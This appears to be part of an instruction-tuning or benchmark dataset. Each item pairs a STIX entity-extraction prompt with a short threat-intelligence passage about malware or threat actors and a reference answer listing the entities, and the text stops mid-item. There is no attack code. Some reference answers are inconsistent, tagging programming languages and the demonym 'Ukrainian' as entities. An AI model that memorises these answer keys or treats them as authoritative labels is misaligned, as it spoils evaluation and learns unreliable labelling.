    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nShamoon is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. Shamoon has also been seen leveraging RawDisk and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.\n",
    "output": "<entities>Shamoon|Cutting Sword of Justice|RawDisk|Filerase|Shamoon 2|Shamoon 3</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSkidmap has checked for the existence of specific files including /usr/sbin/setenforce and  /etc/selinux/config. It also has the ability to monitor the cryptocurrency miner file and process.\n",
    "output": "<entities>Skidmap|/usr/sbin/setenforce|/etc/selinux/config</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPUNCHTRACK scrapes memory for properly formatted payment card data.\n",
    "output": "<entities>PUNCHTRACK</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThe 2022 Ukraine Electric Power Attack was a Sandworm Team campaign that used a combination of GOGETTER, Neo-REGEORG, CaddyWiper, and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.\n",
    "output": "<entities>2022 Ukraine Electric Power Attack|Sandworm Team|GOGETTER|Neo-REGEORG|CaddyWiper|SCADA|Ukrainian</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nUmbreon hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.\n",
    "output": "<entities>Umbreon|libc|strace</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFIVEHANDS is a customized version of DEATHRANSOM ransomware written in C++. FIVEHANDS has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with SombRAT.\n",
    "output": "<entities>FIVEHANDS|DEATHRANSOM|C++|SombRAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAppleJeus has presented the user with a UAC prompt to elevate privileges while installing.\n",
    "output": "<entities>AppleJeus</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nELMER is capable of performing directory listings.\n",
    "output": "<entities>ELMER</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGold Dragon is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. Gold Dragon was used along with Brave Prince and RunningRAT in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. \n",
    "output": "<entities>Gold Dragon|Korean|South Korea|Brave Prince|RunningRAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCSPY Downloader is a tool designed to evade analysis and download additional payloads used by Kimsuky.\n",
    "output": "<entities>CSPY Downloader|Kimsuky</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nzwShell is a remote access tool (RAT) written in Delphi that has been used by Night Dragon.\n",
    "output": "<entities>zwShell|Night Dragon|Delphi</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPass-The-Hash Toolkit can perform pass the hash.\n",
    "output": "<entities>Pass-The-Hash Toolkit</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDEFENSOR ID is a banking trojan capable of clearing a victim\u2019s bank account or cryptocurrency wallet and taking over email or social media accounts. DEFENSOR ID performs the majority of its malicious functionality by abusing Android\u2019s accessibility service.\n",
    "output": "<entities>DEFENSOR ID|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nJPIN can use the command-line utility cacls.exe to change file permissions.\n",
    "output": "<entities>JPIN|cacls.exe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOwaAuth uses the filename owaauth.dll, which is a legitimate file that normally resides in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\; the malicious file by the same name is saved in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\.\n",
    "output": "<entities>OwaAuth|owaauth.dll|%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\|%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGolfSpy is Android spyware deployed by the group Bouncing Golf.\n",
    "output": "<entities>GolfSpy|Bouncing Golf|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBendyBear can load and execute modules and Windows Application Programming (API) calls using standard shellcode API hashing.\n",
    "output": "<entities>BendyBear|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., 